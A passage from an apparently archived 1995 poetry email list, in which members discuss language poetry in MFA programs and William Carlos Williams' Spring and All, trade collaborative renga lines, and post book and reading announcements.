2) In the second year class (my class), out of approx. 25 students, fully one third of them is working quite consciously in a "language" or "avante-guard" tradition, and at least one-half (though probably more) of the second year class, reads and is familiar and is at least partially influenced by the "language" poets.

3) Perhaps most interesting (and wonderful), however, is that next semester (Jan.), Bob Perelman will be the visiting faculty member in the WS. Talk about infiltration....

SO, it seems things are changing all over, even at the most "established" of the "establishment". Faculty here are finding themselves having to at least address "language" poetry in class. In fact, over the summer in a seminar in contemporary poetry, the teacher asked who the students were reading and who they would like to discuss during the class, and EVERY one of them mentioned an "experimental" writer. I'm not sure what to make of it...but I'm happy it's happening.

Apologies for all terms in quotes -- it seems silly to use them any other way.

Best,
Brian Cassidy

> *In reference, I think, to the "dangerous" thread, Aldon deployed superb wit in his reference to FBI/MFA agents. I want to suggest, however, that this situation is perhaps changing. The academy has been infiltrated at Buffalo, UC Santa Cruz and (?). Here at George Mason's MFA program (which has at least five subscribers to this list), I was able to bring Rod Smith into the teaching fold, and in the past year and a half we've had Susan Howe and Leslie Scalapino among the few two-day residencies we can afford. This fall, it's Rosemarie Waldrop. A number of the poet-grad students are writing linguistically innovative work and frequent Rod's Bridge Street Books. The student mag, -Phoebe- featured*

> *work of interest to this list in the last issue. I don't know what's happening elsewhere, as I've always been somewhat isolated, but this isn't a closed shop. BTW, the new person at AWP's newsletter, The Chronicle (also now based here) is a subscriber to this list, and would welcome essays from any of you. I'm not naive about that audience, so why not begin with something on how to *read*.*
>
> *Warmest regards,*
>
> *Carolyn*

↑ Index

703. **Burt Kimmelman**
Re: Online Directory of Poets - PLEASE READ -
Thu 21 Sep 1995

how can we subscribe to the On Line Directory of Poets?

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704. **Robert Drake**
Re: Online Directory of Poets
Thu 21 Sep 1995

> *http:/writing.upenn.edu/epc*

should be:

> *http://writing.upenn.edu/epc*

↑ Index

705. **Kit Robinson**
A-24
Thu 21 Sep 1995

Reply to: A-24

Cris,

To answer some of your questions out of order I can't remember everything but. . . . Most of the Poets Theater work happened AFTER A-24. By '78 maybe only a performance of FOH's Try! Try! at the Grand Piano (w/ Carla Harryman, Nick Robinson, & . . . John Mason?) and maybe a short play by Carla &/or Eileen Corder had been done. The Big Productions (3rd Man, Mister Sister, The Alps, Collateral, Particle Arms, Under the Midwest, etc.) at Studio Eremos came later. As for A-24, yeah, it was fun. A lot of hard work, intense rehearsals, trying to get the timing right. I don't remember awkwardness, just the difficulty of

staying on the beat and still rendering the proper expression, not to mention dynamics. As in theater, a marvelous way to get to know a work. And I think we all enjoyed the experience of working in a group, especially as writers normally don't (all rengae aside).

Kit

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706. **Maria Damon**
Re: Self-disclosure
Thu 21 Sep 1995

---

hi guys. tried to lurk for a day. but timmon's thanks for adverting our publications lured me out: if anyone's going to the beat art exhibit at the whitney in nyc, i've got a piece in the catalogue. i tried to walk a fine line between critique and appreciation, of course i'll be accused of softpedaling critique or underappreciating, but hey, life's short, art's longish but equally brutish sometimes. so, now that i'm on aol i have more sympathy w/ the renga-critiquers. those yummy lines just don't look as nice on the truncated screen aol provides, and the typeface is too big --i miss my old account and its aesthetic-- but i love those wow lines jorge sheila et al --did i miss something in transit about titling rengas "renga"? md

↑ Index

707. **Maria Damon**
Re: Sheila, Chris & Jorge's Excellent Adventure
Thu 21 Sep 1995

---

i'm going crazy with the thrill of your rengalines baby i
can't get enough of them i just wish (whow whow wohw) i could read them more
fluently , fluidly as i've been told my old gender's spozed to--but i
can't get w/ da program n
it comes out all fragmenty on my screen.
god, send me your humble servant one continuouslongrengaorgasm rather than these
sparks and spikes all broken up w/ e-symptoms, tho there are those who say that's all part of the fun. i really am going nuts in this alerted altered renga-itis w/drawal space, yes i've gone completely over the edge.

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708. Burt Kimmelman
Re: MFA Agents/Dangerous Poets
Thu 21 Sep 1995

Building on what Aldon and Carolyn are saying about inclusion into a let us say mainstream, I can't help but note in this context Hank Lazer's essay in the recenet APR of Charles Bernstein (though the only poems of Charles' I recall seeing printed there in the past have been, to my mind, uncharacteristic of his work over all and more like the kind of stuff one usually sees in APR--but then again maybe the journal is changing, seeing as how it has such a large spread on Armand Schwerner who is not a Language poet but whose work is by no means for the casual reader).

Burt Kimmelman

↑ Index

709. Jorge Guitart
Re: be advised: wcw qtd in this renga
Thu 21 Sep 1995

On Wed, 20 Sep 1995, Sheila E. Murphy wrote:

> >On Tue, 19 Sep 1995, Charles Alexander wrote:
> >
> >> >>On Sun, 17 Sep 1995, Sheila E. Murphy wrote:
> >> >>
> >> >>> >On Sun, 17 Sep 1995, George Bowering wrote:
> >> >>> >
> >> >>> >> In the books were dreams and in the dreams were books.
> >> >>> >> And flew through windows, lightning green and fine morning
> >> >>> >> First inverted whistle of a cardinal in the poplar
> >> >>> >> The book and the oboe on the grass under sun and cloud
> >> >>> >> Go endlessly, an obtuse Prussian blue, it binds
> >> >>> >> The rook to the knight here by King's Bishop Three
> >> >>> >> Something has changed in the nature of friendship
> >> >>> >> But wouldn't you know it, Mrs. Mullett next in line
> >> >>> >> For food stamps, quints racing about the linoleum
> >> >>> >> Everything leans on the verb, falling, sighs
> >> >>> >> Twelve at least, one loves only firm, and firm
> >> >>> >> feels good to her it feels real good, & the corset
> >> >>> blanches from so many passwords being lifted like expected bans
> >> >> on metaphors that the folks at the contagious hospital
> >> >thought we might be weaned of early, late, whatever
> >> the contagious wind strikes a chord with nothing ventured

nothing maimed, my parents won't let me play with density
because its quantity is known, and they prefer unknowns
like the time we went to the ruins of sensible ideas and mom

↑ Index

710. Jorge Guitart
Re: be advised: wcw qtd in this renga
Thu 21 Sep 1995

on the day of the equinox Sheila, George and Jorge rode on Lionel trains and sent rengas from the Finland Station

"The hell I did! GB"

>
> > > >> >> In the books were dreams and in the dreams were books.
> > > >> >> And flew through windows, lightning green and fine morning
> > > >> >> First inverted whistle of a cardinal in the poplar
> > > >> >> The book and the oboe on the grass under sun and cloud
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> > > >> >> feels good to her it feels real good, & the corset
> > > >> blanches from so many passwords being lifted like expected bans
> > > > on metaphors that the folks at the contagious hospital
> > > thought we might be weaned of early, late, whatever,
> > >but I am taking the broken glass as a token of my first epiphany
sassafras is my powerlessness to split scintillas in the mist

↑ Index

711. Jorge Guitart
renga writing --a proposal
Thu 21 Sep 1995

let's start a new renga. everybody, anybody, write a first line.

Rules to follow:

have only ten words maximum per line (so renga fits in maria's screen) when you add your line, erase chevron from line you are adding to as well as "On (date) (name of rengan) wrote:" message. ok?

thanks

jorge

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712. **Tony Green**
Re: Self-disclosure
Thu 21 Sep 1995

Maria, you'll be happy to know that some would-be renga-line contributors are still being shut out as before. Funny thing is it was supposed to be one line from everyone wasn't it? Not that I CARE that much.

Tony Green,
e-mail: [redacted]

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713. **Tony Green**
Re: WCW
Thu 21 Sep 1995

Who in hell wd actually publish Spring & All today and then who if anyone would stock it on shelf? Volunteers? I reckon it ought to be re-written to meet contemporary editorial requirements, with the text in ORDER for instance.

Tony Green,
e-mail: [redacted]

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714. **eric pape**
Re: MFA Agents/Dangerous Poets
Thu 21 Sep 1995

MFA programs may be the best recruitment agency yet developed for the avant-garde (oppositional, experimental, pomo, multiculti, etc etc). Due to its positioning among the academy, where some (few) folks are beginning (just now) to question conventional modes of writing, workshop type stuff (as it is stereotyped) seems more and more theoretically bankrupt. The best poets feel this, and look elsewhere.But... The AWP is dead. Long live.....the AWP? We'll see. I know I have still go a very long way to go before I can finally purge the workshop from my writing. Thanks, Eric.

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715. Ken Edwards
London readings
Thu 21 Sep 1995

Forthcoming readings in London likely to be of interest to anyone from this list who happens to be in town...

SubVoicive
at The Three Cups, Sandland St, WC1, Tuesdays at 8.00pm:

26 Sept Spencer Selby / Gavin Selerie
10 Oct Basil King / John Muckle
24 Oct Tim Fletcher / Stan Trevor
7 Nov Adrian Clarke / Allen Fisher
21 Nov John Wilkinson / Ken Edwards
5 Dec "Quick Hits" (sampling by numerous performers)

Poets & Writers
at the East-West Gallery, 8 Blenheim Crescent, W11, usually Mondays at 7.30pm:

9 Oct Nathaniel Tarn
23 Oct Thor Vilhalmsson / Matthias Johannessen (Icelandic writers)
6 Nov British Small Press series: 2. Coracle Press
27 Nov Eleni Sikelianos / Tim Atkins / Laird Hunt
11 Dec British Small Press series: 3. Gaberbocchus Press

...and on 16 Oct promoter Mike Goldmark is staging a commemoration of the famous Albert Hall gig of the 1960s; 1995's performers are: Kathy Acker, Aidan Dun, Brendan Kennelly, Douglas Oliver, Iain Sinclair, Brian Catling, Allen Ginsberg, Sorley MacLean, Tom Pickard, Aaron Williamson, cris cheek, Michael Horovitz, Alice Notley, Denise Riley, Benjamin Zephaniah. A bizarre motley, if you ask me.

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716. Charles Watts
bye for awhile
Thu 21 Sep 1995

Folks, I'll be away from e-mail for maybe as long as six weeks. I'll miss the ongoing talk -- but will catch up with the archive when I get back to the screen. Meanwhile, anyone who wants to can get in touch via snail mail: Charles Watts, 1862 Parker Street, Vancouver, B.C. V5L 2L1, or by phone, [redacted].

The project to publish papers given at the Robin Blaser conference last June is ongoing; if you still haven't sent us a copy of your panel presentation (nearly

thirty people have so far), please do so. If you have, my apologies for not having acknowledged receipt of your piece; I've been more than busy lately. You'll be hearing from us (me and Ted Byrne) as we have more to report, later in the fall.

So long for now,

Charles Watts
[redacted]

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717. **Ann Lauterbach**
Re: POETICS Digest - 19 Sep 1...
Thu 21 Sep 1995

Jail is interesting. The problem is you cannot get out, even when you are so clearly in. This is probably less about poetry than it is about the list to which you subscribe but which you cannot ever read because the machine will not allow you to. (For machine read the form of the setting, or the setting of the form.) Glad for the equinox. Best wishes to those who continue to read what is written.

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718. **George Bowering**
Re: be advised: wcw qtd in this decade
Thu 21 Sep 1995

>
> on the day of the equinox Sheila, George and Jorge rode on Lionel trains
> and sent rengas from the Finland Station
  >
> "The hell I did! GB"
>
> >
 > > >> >> In the books were dreams and in the dreams were books.
> > > > >> >> And flew through windows, lightning green and fine morning
> > > > >> >> First inverted whistle of a cardinal in the poplar
> > > > >> >> The book and the oboe on the grass under sun and cloud
> > > > >> >> Go endlessly, an obtuse Prussian blue, it binds
> > > > >> >> The rook to the knight here by King's Bishop Three
> > > > >> >> Something has changed in the nature of friendship
> > > > >> >> But wouldn't you know it, Mrs. Mullett next in line
> > > >> >> For food stamps, quints racing about the linoleum
> > > > >> >> Everything leans on the verb, falling, sighs
> > > > >> >> Twelve at least, one loves only firm, and firm

> > > > >> >> feels good to her it feels real good, & the corset
> > > > >> blanches from so many passwords being lifted like expected bans
> > > > > on metaphors that the folks at the contagious hospital
 > thought we might be weaned of early, late, whatever,
but I am taking the broken glass as a token of my first epiphany
sassafras is my powerlessness to split scintillas in the mist
the outside corner, showering early while the Pirates

↑ Index

719. Sheila E. Murphy
Re: be advised: wcw qtd in this renga
Thu 21 Sep 1995

>
>> > >> >> In the books were dreams and in the dreams were books.
>> > >> >> And flew through windows, lightning green and fine morning
>> > >> >> First inverted whistle of a cardinal in the poplar
>> > >> >> The book and the oboe on the grass under sun and cloud
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>> > >> blanches from so many passwords being lifted like expected bans
>> > > on metaphors that the folks at the contagious hospital
>> > thought we might be weaned of early, late, whatever,
>> > but I am taking the broken glass as a token of my first epiphany
sans snow, expansive though, fluent in half tones

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720. Sheila E. Murphy
Re: spike it with saussure - begins the reich
Thu 21 Sep 1995

>On Wed, 20 Sep 1995, Jurphy Sowering Borge wrote
>> >
>> >> >In the books were dreams and in the dreams were books.
>> >> >incorporating the end of timewarps and troves treasured
>> >> >the mercator projection of horniness and thou; for thou is

>> >> >Wow! What a catch! Yowza! Incorporating the dead heroes
>> >> >who pester as obsession or a hobby or as fraction of a prayer,
>> >> >towering above us with a lot of bothersome >>>>>>>>>>>>,s
>> >> measured at density 21.5 along with a "d" added to first name
>> >> of DDaniel who saw Adonai and believe me he was no Adonis
>> although reputation tends to weave a little of transfixive
>> which sticks to your clothes and makes you ineluctable
as timpanic surface potable though shrill

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721. Sheila E. Murphy
Re: spike it with saussure - begins the intramix...
Thu 21 Sep 1995

>Some fans of Dick Assman wrote
>
>> >> >In the books were dreams and in the dreams were books
>> >> >incorporating the end of timewarps and troves treasured
>> >> >the mercator projection of horniness and thou; for thou is
>> >> >Wow! What a catch! Yowza! Incorporating the dead heroes
>> >> >of Palookaville & the dead heroes of Guadalajara
>> >> >empowering scores of liberated mozos intent of Lacanian
>> >> libretti, salted with much, much more than roughage added to taste
>> >> doughboys & doughgirls, behaving like superfluous enigmas
>> puzzling in contagious ways over the simplest rides to
>> the grotto of our Lady of Corollaries during the Feast of the Enormity
with widgets handprinted with obvious mistakes in limited editions

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722. Charles Alexander
Re: Self-disclosure
Thu 21 Sep 1995

And another book to announce.

Minnesota Center for Book Arts is publishing TALKING THE BOUNDLESS BOOK: ART, LANGUAGE, AND THE BOOK ARTS. I compiled and edited the collection of talks which were given at Minn. Center for Book Arts's 1994 symposium, Art & Language: Re-Reading the Boundless Book. I wrote the introduction, and there are essays by Dick Higgins, Johanna Drucker, Steven Clay, Charles Bernstein, Susan Bee, Amos Paul Kennedy Jr., Byron Clercx, Alison Knowles, Jo Anne Paschall, Karen Wirth, Katherine Kuehn, Linda Reinfeld & Toshi Ishihara, Colette Gaiter, and Brad Freeman. The essays range

from artists talking about their own works and those which have influenced them, to pieces on hermeneutics and the book arts, the economics of small press/poetry publishing, the social efficacy of the book arts, and more.

The book will be available the second week of November. Orders are being taken now by
Ann Somers
Minnesota Center for Book Arts
24 North Third Street
Minneapolis, MN 55401
[redacted]

The price is $15.95. A $4 shipping/handling charge will be added as well. D.A.P is distributing the book to bookstores, and they are a good art publication distributor, so you should see it in at least some bookstores before Christmas.

Unfortunately, orders can not be taken online.

If the center gives me a more detailed announcement, I may post again about this before long.

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

↑ Index

723. **George Bowering**
Re: yet another anagram
Thu 21 Sep 1995

Louis Cabri = Boils Curia or Curia Boils

↑ Index

724. **Sheila E. Murphy**
renga - the sequel
Thu 21 Sep 1995

---

hobbyist quaffs juleps poured in the direction of the skids

↑ Index

725. Charles Alexander
Re: spike it with saussure - begins the intramix...
Fri 22 Sep 1995

On Tue, 19 Sep 1995, Charles Alexander wrote:

Some ink-daubbed wretches wrote:

In the books were dreams and in the dreams were books

of Palookaville & the dead heroes of Guadalajara
empowering scores of liberated mozos intent of Lacanian
libretti, salted with much, much more than roughage added to taste
or tremolo, finding the shores awash with alphabet, proclaiming nothing
nutting nothing a-merrily over my dead bodies in abandon
where wrote was written, stepping one four nine

↑ Index

726. Sheila E. Murphy
Re: be advised: wcw qtd in this renga
Fri 22 Sep 1995

>on the day of the equinox Sheila, George and Jorge rode on Lionel trains
>and sent rengas from the Finland Station
>
>"The hell I did! GB"
>
>>
>> > > >> >> In the books were dreams and in the dreams were books.
>> > > >> >> And flew through windows, lightning green and fine morning
>> > > >> >> First inverted whistle of a cardinal in the poplar
>> > > >> >> The book and the oboe on the grass under sun and cloud
>> > > >> >> Go endlessly, an obtuse Prussian blue, it binds
>> > > >> >> The rook to the knight here by King's Bishop Three
>> > > >> >> Something has changed in the nature of friendship
>> > > >> >> But wouldn't you know it, Mrs. Mullett next in line
>> > > >> >> For food stamps, quints racing about the linoleum
>> > > >> >> Everything leans on the verb, falling, sighs
>> > > >> >> Twelve at least, one loves only firm, and firm
>> > > >> >> feels good to her it feels real good, & the corset
>> > > >> blanches from so many passwords being lifted like expected bans
>> > > > on metaphors that the folks at the contagious hospital
>> > > thought we might be weaned of early, late, whatever,
> > > >but I am taking the broken glass as a token of my first epiphany

> sassafras is my powerlessness to split scintillas in the mist
of lathering first frost as noon comes on like torqued weed

↑ Index

727. **Sheila E. Murphy**
Re: be advised: wcw qtd in this renga
Fri 22 Sep 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The rook to the knight here by King's Bishop Three
Something has changed in the nature of friendship
But wouldn't you know it, Mrs. Mullett next in line
For food stamps, quints racing about the linoleum
Everything leans on the verb, falling, sighs
Twelve at least, one loves only firm, and firm
feels good to her it feels real good, & the corset
blanches from so many passwords being lifted like expected bans
on metaphors that the folks at the contagious hospital
thought we might be weaned of early, late, whatever
the contagious wind strikes a chord with nothing ventured
nothing maimed, my parents won't let me play with density
because its quantity is known, and they prefer unknowns
like the time we went to the ruins of sensible ideas and mom
sold ice blue secret back to vendors parked where no shade

↑ Index

728. **Charles Alexander**
Re: renga - the sequel
Fri 22 Sep 1995

---

hobbyist quaffs juleps poured in the direction of the skids stuffs morton's
insistence on intermittency shaking freely

↑ Index

729. **George Bowering**
Re: be advised: wcw qtd in this renga
Fri 22 Sep 1995

On Sun, 21 Sep 1995, Sara Teasdale wrote:

> >> In the books were dreams and in the dreams were books.
> >> >>> >> And flew through windows, lightning green and fine morning
> >> >>> >> First inverted whistle of a cardinal in the poplar
> >> The book and the oboe on the grass under sun and cloud
> >> >>> >> Go endlessly, an obtuse Prussian blue, it binds
> >> >>> >> The rook to the knight here by King's Bishop Three
>>> >> Something has changed in the nature of friendship
> >> >>> >> But wouldn't you know it, Mrs. Mullett next in line
>>> >> For food stamps, quints racing about the linoleum
> >> Everything leans on the verb, falling, sighs
> >> >>> >> Twelve at least, one loves only firm, and firm
> >> >>> >> feels good to her it feels real good, & the corset
>> blanches from so many passwords being lifted like expected bans
> >> >> on metaphors that the folks at the contagious hospital
>thought we might be weaned of early, late, whatever
> the contagious wind strikes a chord with nothing ventured
>> maimed, my parents won't let me play with density
because its quantity is known, and they prefer unknowns
to Belarus stockmen deflowering everything in sight, grim

↑ Index

730. **George Bowering**
Re: renga - the sequel
Fri 22 Sep 1995

---

hobbyist quaffs juleps poured in the direction of the skids made by Chevettes
sliding off the I5 south of Tacoma

↑ Index

731. **Thomas Bell**
Re: spike it with saussure - begins the intramix...
Fri 22 Sep 1995

>Some fans of Dick Assman wrote
>
>> >> >In the books were dreams and in the dreams were books
>> >> >incorporating the end of timewarps and troves treasured
>> >> >the mercator projection of horniness and thou; for thou is
>> >> >Wow! What a catch! Yowza! Incorporating the dead heroes
>> >> >of Palookaville & the dead heroes of Guadalajara
>> >> >empowering scores of liberated mozos intent of Lacanian
>> >> libretti, salted with much, much more than roughage added to taste

>> >> doughboys & doughgirls, behaving like superfluous enigmas
>> puzzling in contagious ways over the simplest rides to
>> the grotto of our Lady of Corollaries during the Feast of the Enormity
>with widgets handprinted with obvious mistakes in limited editions
shrink-wrapped to keep-out dangerfields and glut shelves of

↑ Index

732. Thomas Bell

Renga is freedom to act. So I will not follow a

Fri 22 Sep 1995

> *Rengaroo! Wildebeests are per EB online headed*

Info for those who feel slighted or ignored: old threads
are not dead but waiting in the Wings. Also, have you
not noted how many times a poster responds to a line
using a pseudonym to get things going?

↑ Index

733. Tenney Nathanson

oh really?

Fri 22 Sep 1995

> *Date: Wed, 20 Sep 1995 21:06:43 CDT*
> *From: eric pape <[redacted]>*
> *Subject: Re: you & an army of mixed metaphors and forgotten half-truths...*
>
> *ed, et al: I toofind WCW boring. But it may be that I do because he is so easily imitated. So, I sometimes find O'Hara, Ginsburg, Hejinian, boring for the same reasons.*
> *Was it Picasso who said, very very roughly, "The most original art is ugly. Then someone comes along and makes it pretty." I don't know but can the term, or the concept, "boring" apply in the same way?*

O'Hara is easy to imitate????????????????
(often imitated, never duplicated?)
lessee!
(maybe this will replace renga?
dueling O'Hara imitations [by those who think it's easy?]
let the games begin?)

↑ Index

734. Blair Seagram
Replies and thanks
Fri 22 Sep 1995

Herb Levy and Zukofsky inquiries:

I didn't respond to my messages last night and I'm not through today's, but I see that Herb Levy has thanked the list for the Zukofsky posts so I want to stop my reading now and thank everyone as well. It would have been better to say it sooner. I would also like to make a public thanks to Herb who was so kind and generous to make the inquiries for me. I have all the material and will see if I can get hold of a cassette or video.

Tenny Nathanson:

I congratulate them on their expansion
Whoops, that should be 'their' expansion
or "that there"
Ya.

Rod Smith:

If Gotham doesn't come through with Bottom I would love to get it through you. They told me it would be a couple of weeks, so I'll be in touch with you then and let you know whether they received it.

If the criteria for being a New Yorker, is being (creatively) rude on a (fairly) regular basis, I qualify.

As far as the bearded man in St Marks, for some reason, I had the idea he was the owner of the store. I don't know why. And I think I know the man you are referring to at the Ear Inn and for some reason I have the same thought about him. I think of him as the owner. It's an unconscious assumption I have made, I guess, without a qualifying reason. Perhaps it's the sense of authority they have, and I don't mean that negatively.

People with books:

I can see there are people who run bookstores on this list and I can see that some of them are upset. I can only say that I have never had an encounter in a bookstore like the one in St Marks, as far as I can remember. I kind of think of bookstores as benign rather peaceful places. Anyway ti's great to get all this info about where to buy books. I should start a d base

b e s t w i s he s

b l a i r

↑ Index

735. **Hank Lazer**
Re: renga - the sequel
Fri 22 Sep 1995

---

hobbyist quaffs juleps poured in the direction of the skids stuffs morton's insistence on intermittency shaking freely leaf stems cubes whirl about as hobbyist pauses to consider

↑ Index

736. **Mark Roberts**
Re: renga writing --a proposal
Fri 22 Sep 1995

---

let's start a new renga. everybody, anybody, write a first
line.
Rules to follow:
have only ten words maximum per line
(so renga fits in maria's screen)
when you add your line, erase chevron from line you
are adding to
as well as "On (date) (name of rengan) wrote:" message. ok?
thanks jorge said the giant as she booted up her pc

↑ Index

737. **Maria Damon**
Re: MFA Agents/Dangerous Poets
Fri 22 Sep 1995

---

thanks to carolyn. good for you and your infiltrational activities. i've kinda given up on umn, tho i've just started to meet groovy folks in the mpls/stp area, un-univ. affiliated, who can be a meaningful support system for interesting heartful smart lit. how have you done it, do you find you need a lot of "clout" as a name-person? as an asst prof my efforts were stymied by a tradition-bound dept and my own lack of power, now as an assoc, i've lost interest in moving the unmoveables and am basically just taking care of myself and a handful of interested students.--md

↑ Index

738. Jordan Davis.
rebus aegis quotidian anger
Fri 22 Sep 1995

> > > >> >> Everything leans on the verb, falling, sighs
> > > >> >> Twelve at least, one loves only firm, and firm
> > > >> >> feels good to her it feels real good, & the corset
> > > >> blanches from so many passwords being lifted like expected bans
> > > > on metaphors that the folks at the contagious hospital
> > > thought we might be weaned of early, late, whatever,
 > > >but I am taking the broken glass as a token of my first epiphany
    sassafras is my powerlessness to split scintillas in the mist
we keep going back and forth about this poor guy's mane

↑ Index

739. Jordan Davis.
Re: renga - the sequel
Fri 22 Sep 1995

---

hobbyist quaffs juleps poured in the direction of the skids
made by Chevettes sliding off the I5 south of Tacoma
looking like a born-again, living like a heretic, listening

↑ Index

740. Jordan Davis.
the happy gnostic of my household
Fri 22 Sep 1995

> >> >>> >> In the books were dreams and in the dreams were books.
> >> >>> >> And flew through windows, lightning green and fine morning
> >> >>> >> First inverted whistle of a cardinal in the poplar
> >> >>> >> The book and the oboe on the grass under sun and cloud
> >> >>> >> Go endlessly, an obtuse Prussian blue, it binds
> >> >>> >> The rook to the knight here by King's Bishop Three
> >> >>> >> Something has changed in the nature of friendship
> >> >>> >> But wouldn't you know it, Mrs. Mullett next in line
> >> >>> >> For food stamps, quints racing about the linoleum
> >> >>> >> Everything leans on the verb, falling, sighs
> >> >>> >> Twelve at least, one loves only firm, and firm
> >> >>> >> feels good to her it feels real good, & the corset
> >> >>> blanches from so many passwords being lifted like expected bans
> >> >> on metaphors that the folks at the contagious hospital
> >> >thought we might be weaned of early, late, whatever

> >> the contagious wind strikes a chord with nothing ventured
nothing maimed, my parents won't let me play with density
because its quantity is known, and they prefer unknowns
like the time we went to the ruins of sensible ideas and mom
slantways decolletage of the belated, the poems by John Ashbery

↑ Index

741. **Ryan Knighton**
Re: bye for awhile
Fri 22 Sep 1995

I too must be off for a bit. I will also miss the chatter, but I just havent the time to jump in or sift out my other mail. I will, however, still be on email, so anyone who needs to get in touch with me regarding TADS submissions can catch me at [redacted] .

Take care and the like.

↑ Index

742. **Sheila E. Murphy**
Re: spike it with saussure - begins the intramix...
Fri 22 Sep 1995

>On Tue, 19 Sep 1995, Charles Alexander wrote:
>
>Some ink-daubbed wretches wrote:
>
>In the books were dreams and in the dreams were books
>
>of Palookaville & the dead heroes of Guadalajara
>empowering scores of liberated mozos intent of Lacanian
>libretti, salted with much, much more than roughage added to taste
>or tremolo, finding the shores awash with alphabet, proclaiming nothing
>nutting nothing a-merrily over my dead bodies in abandon
>where wrote was written, stepping one four nine
passacaglia without the prefab little knobbed things on them

↑ Index

743. Sheila E. Murphy
Re: renga - the sequel
Fri 22 Sep 1995

>hobbyist quaffs juleps poured in the direction of the skids
>made by Chevettes sliding off the I5 south of Tacoma
monikered bellwether of the pall

↑ Index

744. Herb Levy
Re: Distribution or Shoot
Fri 22 Sep 1995

> *Actually, _Shoot!_ was published in Toronto about a year ago.*

Shoot, I didn't know that.

> *Did you see/hear anything of Cecil while he was there last week?*

George, you have the dates right but the month wrong. The "greatest pianist in the world" (tm), and poet, Cecil Taylor is in Seattle for a week (doing a student workshop with no performance scheduled) in October, I think between the 14-18.

I don't know how many poets are signed up for this, but, uh, perhaps this is this still more proof of the opening up of the workshop.

Or maybe not.

Herb Levy
[redacted]

↑ Index

745. Edward Foster
Re: you & an army of mixed metaphors and forgotten half-truths...
Fri 22 Sep 1995

---

wcw isn't boring because he's easily imitated; i don't find cage boring, tho i can't imagine anyone easier to imitate. the "boring" i think has to do with being somewhere between formerly useful and not quite historical (or commonly read as "was).

↑ Index

746. Sheila E. Murphy
Re: spike it with saussure - begins the intramix...
Fri 22 Sep 1995

In the books were dreams and in the dreams were books
Incorporating the end of timewarps and troves treasured
the mercator projection of horniness and thou; for thou is
Wow! What a catch! Yowza! Incorporating the dead heroes
of Palookaville & the dead heroes of Guadalajara
empowering scores of liberated mozos intent of Lacanian
libretti, salted with much, much more than roughage added to taste
doughboys & doughgirls, behaving like superfluous enigmas
puzzling in contagious ways over the simplest rides to
the grotto of our Lady of Corollaries during the Feast of the Enormity
with widgets handprinted with obvious mistakes in limited editions
shrink-wrapped to keep-out dangerfields and glut shelves of
gutted elves' belongings so gravitied as not to quiver when

↑ Index

747. Edward Foster
Re: you & an army of mixed metaphors and forgotten half-truths...
Fri 22 Sep 1995

---

well, jeffrey, i'd have to argue with "dialogue," too; there are poetries that are interesting to read that way, but essentially that's bahktin, who got tossed out quite a while ago. and in any case what's interesting is writing, not "about."

↑ Index

748. Edward Foster
Re: you & an army of mixed metaphors and forgotten half-truths...
Fri 22 Sep 1995

---

rod: the objection has many sides, but for one: in reading wcw, we are in a language/proposition that must have startling once; but we're not there now. it's great-grandpa talking and chloroform, dulling; we need to get OUT. -ed

↑ Index

749. **Edward Foster**
Re: WCW
Fri 22 Sep 1995

---

ron: i think the blandness (which i would locate primarily in places different from you--no surprise there) is in part due to the fact that spring & all is indeed read in certain quarters as if it were new. it's as new as g.o'k.: not!

↑ Index

750. **Gale Nelson**
Re: MFA Agents/Dangerous Poets
Fri 22 Sep 1995

Maria,

While any bureaucracy has its pull toward closing down the movements toward energy, it seems as though the ripples can come from anywhere. When the department holds its nose to progress, then build connections outside the department. When the University suggests that it likes the way things are, still nominate your most interesting students for the prizes. I am forever optimistic that energy will have its impact on the bureaucratic system. I am time and again the bureaucrat at Brown, putting the brakes on one or another writers' great ideas (resources...limits...etc.). But we seem to respect the need to let writing float into the atmosphere in as many ways as possible. We have the great good fortune to have been founded by sorts who have cosmpolitan/energetic ideas about literature -- and have been able to sustain that tradition with new faculty hires. I'm sort of the oddball in the mix (what is known here as a hybrid appointment, a non-tenure-track administrator/teacher). The hours are frustrating, but the environment is explosiv.

Gale Nelson

↑ Index

751. **Alan Golding**
AWPAPRWCWS&A
Fri 22 Sep 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

On the AWP part, I'm greatly enjoying this mutual infiltration process (sounds like a new technique for brewing coffee); Gwyn, Carolyn, Brian, thanks for your recent posts, and it's good to have you as part of the conversation. I appreciate the anecdotal information (who's visiting where, who's reading whom, who's

writing what)--for me it's simultaneously fun gossip, usable information, and stuff that helps me as a teacher to start de-monolithizing the institution of the workshop. (How's that for a neologism? No Bruce Andrews action doll could do better.)

Burt K. mentioned Hank's APR essay. I actually think APR has always been a bit more eclectic than it's given credit for, but its eclecticism has less the quality of a commitment to multiple writing practices, more the quality of the startled twitch that one gives when one is suddenly woken up. ("Oops, looks like we'd better pay attention to this, even if we are 15 or 20 years late.") To put this another way, it's not yet clear to me that we're seeing, in APR, more than a kind of belated tokenism attached to one of the big names of LP. Charles is acutely attuned to these institutional/literary-sociological issues, it seems to me. I don't agree, then, Burt, that APR has published work of his in a traditionally APR mode. The poems they've carried are, in my reading, progressively more blatant gestures of resistance to and satires on that mode. If the editors don't get it after publishing the last one, "Memories," then I feel sorry for them. (And if they've already gotten it and aren't letting on, then good for them.) The real test for APR will be to see if they start publishing lesser-known or under-published "experimental" writers, as they do with their flush-left-first-persons.

My last few years teaching incline me to agree with Ron about Spring and All. Students consistently find it a revelation, "a place of first permission" in Duncan's phrase. My problem with the recent discussions pro and con is that they seem to depend on reifying "The Red Wheelbarrow" as somehow synecdochic of WCW's whole practice. (Granted, one or two folks here and there mentioned other poems.) There's perverse precedent for this. New Critical resistance to WCW for decades was based on objections, repeated mantra-like in critic after critic, to "The Red Wheelbarrow." But one of the many great things about S&A is its polymorphousness, lost when it's reduced to a handful of anthology chestnuts. When I read the first ten lines or so of Spring and All #9 ("What about all this writing?") or #6 ("No that is not it") I hardly recognize the poet of "The Red Wheelbarrow" (not so titled, of course--not titled at all--in the original S & A).

Alan

↑ Index

752. **Bill Luoma**
New ListServe
Fri 22 Sep 1995

Pentium" Pro Processor Builds on Equity in Pentium Brand On Sept 19,1995 -- Intel Corporation announced that "Pentium" Pro processor" is the name for its

